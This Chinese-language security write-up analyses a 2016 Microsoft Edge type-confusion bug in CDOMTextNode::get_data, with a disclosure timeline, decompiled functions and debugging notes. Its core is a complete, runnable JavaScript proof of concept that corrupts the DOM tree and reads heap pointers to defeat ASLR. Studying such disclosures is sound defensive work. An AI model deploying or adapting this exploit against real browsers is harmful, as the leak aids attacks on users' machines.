1. Vulnerability Description 1.1 The Issue MS Edge CDOMTextNode::get_data type confusion
特别构造的JavaScript脚本可以触发Microsoft Edge的type confusion,使得可以像访问字符串一样访问C++对象。 这可能导致信息泄露,例如允许攻击者确定指向其他对象或函数的指针的值。
1.2 Affect version Microsoft Edge 20.10240.16384.0
1.3 Timeline 01/12/2016 Advisory disclosed 01/12/2016 +0 days Countermeasure disclosed 01/12/2016 +0 days SecurityTracker entry created 01/12/2016 +0 days VulnerabilityCenter entry assigned 01/13/2016 +1 days VulnerabilityCenter entry created 01/14/2016 +1 days VulDB entry created 01/17/2016 +3 days VulnerabilityCenter entry updated 01/19/2016 +2 days VulDB last update
2. Technical description and PoC 2.1 Description 在DOM树中将一个节点作为子节点加到另一个节点时,Edge首先从其父节点中删除该节点,触发DOMNodeRemoved事件,然后重新附加该节点作为另一个节点的最后一个子节点。 而在DOMNodeRemoved事件发生时,JavaScript的事件处理器可以更改DOM树,我们尝试在触发DOMNodeRemoved事件时向同一个父节点插入另一个文本子节点,这个操作在事件期间完成,因此该文本子节点在触发事件的节点之前作为子节点附加。 而在触发DOMNodeRemoved事件处理程序之前,代码似乎确定了节点应该被附加的位置,因此最开始插入的节点在父文本节点之前而不是之后被插入。 因为bug的存在,在完成所有这些操作后,DOM树已被破坏。这可以通过检查文本节点的.nextSibling属性是文本节点本身来确认, 即DOM树中有一个循环。 另一个效果是,读取文本节点的nodeValue将导致类型混淆。这里Edge访问文本节点中存储的文本数据时,实际访问的却是一个C++对象。这样可以让攻击者读取存储在这个C++对象中的数据,其中包含各种指针。
2.2 JavaScript PoC Skylined给出了一个读取并显示DOM树对象的部分内容的PoC。该PoC已经在x64系统上进行了测试,允许攻击者绕过堆ASLR,读取堆指针。
读取的数据量可以由攻击者控制,并且可以读取分配给C++对象的内存之外的数据。攻击者可能能够使用一些堆的技巧将其他对象与C++DOM树对象中的有用信息放置在内存中,并从第二个对象读取数据。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <html > <head > <script > var uNodeRemovedEvents = 0 ; onerror = function (sError, sSource, uLine ){ alert (sError + " on line " + uLine); }; document .addEventListener ("DOMNodeRemoved" , function (oEvent ) { if (uNodeRemovedEvents++ == 0 ) { oTextNode = document .createTextNode ("[2]" ); document .body .insertBefore (oTextNode); }; }, true ); onload = function ( ){ document .body .appendChild (oExistingChild); for (var oNode = document .body .firstChild ; oNode && oNode != oNode.nextSibling ; oNode = oNode.nextSibling ) { } if (oTextNode.nextSibling !== oTextNode) { throw new Error ("Tree is not corrupt" ); } alert ("Set breakpoints if needed" ); var sData = ("A" + oTextNode.nodeValue ).substr (1 ); var sHexData = "Read 0x" + sData.length .toString (16 ); sHexData += " bytes: ????????`????????" ; sHexQWord = "`????????" ; for (var uBytes = 4 , uOffset = 4 , uIndex = 0 ; uIndex < sData.length ; uIndex++) { var sHexWord = sData.charCodeAt (uIndex).toString (16 ); while (sHexWord.length < 4 ) sHexWord = "0" + sHexWord; sHexQWord = sHexWord + sHexQWord; uBytes += 2 ; if (uBytes == 4 ) sHexQWord = "`" + sHexQWord; if (uBytes == 8 ) { sHexData += " " + sHexQWord; sHexQWord = "" ; uBytes = 0 ; }; }; if (sHexQWord) { while (sHexQWord.length < 17 ) { if (sHexQWord.length == 8 ) sHexQWord += "`" ; sHexQWord = "????" + sHexQWord; } sHexData += " " + sHexQWord; } alert (sHexData); oTextNode.nodeValue = "" ; }; </script > </head > <body > x<x id =oExistingChild > </x > </body > </html >
2.3 Code Analyze 上面这个利用流程,比较关键的几个函数是CDOMTextNode::get_data、CDOMTextNode::get_length
读取数据的函数是CDOMTextNode::get_data,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 __int64 __fastcall CDOMTextNode::get_data (CDOMTextNode *this , unsigned __int16 **a2) { unsigned __int16 **v2; CDOMTextNode *this_rdi; Tree::TextData *v4; __int32 v5; BSTR v6; int v7; struct CTreePos *v8; struct CTreePos *v9; Tree::TextNode *v10; unsigned __int16 *v11; Tree::ANode *v12; CTreePos *v13; __int64 v14; const OLECHAR *v15; UINT v16; BSTR v17; UINT ui; unsigned __int32 v20; v2 = a2; this_rdi = this ; if ( a2 ) { *a2 = 0 i64; v4 = (Tree::TextData *)*((_QWORD *)this + 6 ); if ( v4 ) { v14 = *(_DWORD *)v4; v15 = Tree::TextData::GetText (v4, 0 , 0 i64); v17 = SysAllocStringLen (v15, v16); *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped (v17); } else if ( CDOMTextNode::IsPositioned (this_rdi) ) { ui = 0 ; v5 = CDOMTextNode::get_length (this_rdi, (__int32 *)&ui); Abandonment::CheckHRESULTStrict (v5); v6 = SysAllocStringLen (0 i64, ui); *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped (v6); v7 = 0 ; LODWORD (v8) = Tree::TextNode::TextNodeFromDOMTextNode ((__int64)this_rdi); v9 = v8; v10 = v8; do { v11 = Tree::TextNode::Text (v10, 0 , &v20); memcpy_s (&(*v2)[v7], 2 i64 * (signed int )(ui - v7), v11, 2 i64 * v20); v7 += v20; v12 = Tree::TreeReader::GetNextSiblingWithFilter ( v10, (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter); v10 = v12; } while ( v12 && Tree::ANode::IsTextNode (v12) && CTreePos::IsSameTextOrCDataNode (v13, v9) ); } } return 0 i64; }
在函数中有一次调用CDOMTextNode::get_length(this_rdi, (__int32 *)&ui) 代码如下,其中a2的值是ui,也就是0,而CDOMTextNode::IsPositioned(this)返回值为真,即进入了第二个逻辑,在该逻辑中进行了长度的处理
获取长度后,则在get_data函数中,在memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20)这行代码利用memcpy_s不断读取内存中的值至长度到达之前get_length函数返回的值位置。
这里读取的是v11指向中保存地址指向的值,那我们再上溯,v11 = Tree::TextNode::Text(v10, 0, &v20);,其中v10的值是Tree::TextNode::TextNodeFromDOMTextNode返回的一个结构体指针,而调用该函数的参数是rcx。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 __fastcall CDOMTextNode::get_length (CDOMTextNode *this , __int32 *a2) { __int32 *v2; signed int v3; __int32 *v4; CDOMTextNode *v5; struct CTreePos *v7; struct CTreePos *v8; struct CTreePos *v9; __int32 v10; Tree::ANode *v11; CTreePos *v12; v2 = (__int32 *)*((_QWORD *)this + 6 ); v3 = 0 ; v4 = a2; v5 = this ; if ( v2 ) { *a2 = *v2; } else if ( CDOMTextNode::IsPositioned (this ) ) { LODWORD (v7) = Tree::TextNode::TextNodeFromDOMTextNode ((__int64)v5); v8 = v7; v9 = v7; v10 = 0 ; do { v10 += **((_DWORD **)v9 + 7 ); v11 = Tree::TreeReader::GetNextSiblingWithFilter ( v9, (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter); } while ( v11 && Tree::ANode::IsTextNode (v11) && CTreePos::IsSameTextOrCDataNode (v12, v8) ); *v4 = v10; } else { v3 = -2147024809 ; } return (unsigned int )v3; }
2.4 Dynamic Analysis 对get_data下断点后开始单步跟踪,发现这里get_length函数的返回值和节点oExistingChild的长度相关,也就是说,这里出现了一个bug,在本来应该读取textnode的长度的时候,返回了一个和oExistingChild长度相关的数值,即我们可以一定程度上控制读取的数据长度,当然,这里数据如果太长,在读取的时候会触发一个访问错误,导致进程崩溃无法继续读取。
最后结合动态调试和代码分析发现length是从结构体指针处偏移0x1c的位置指向的指针指向的位置中取出来,即first_struct->other_struct->length。而读取的地址位置则是结构体指针偏移0xC的位置。
3. References 1. zerodayinitiative
2. microsoft
3. securitytracker
4. cve.mitre.org
5. vuldb
6. skylined blog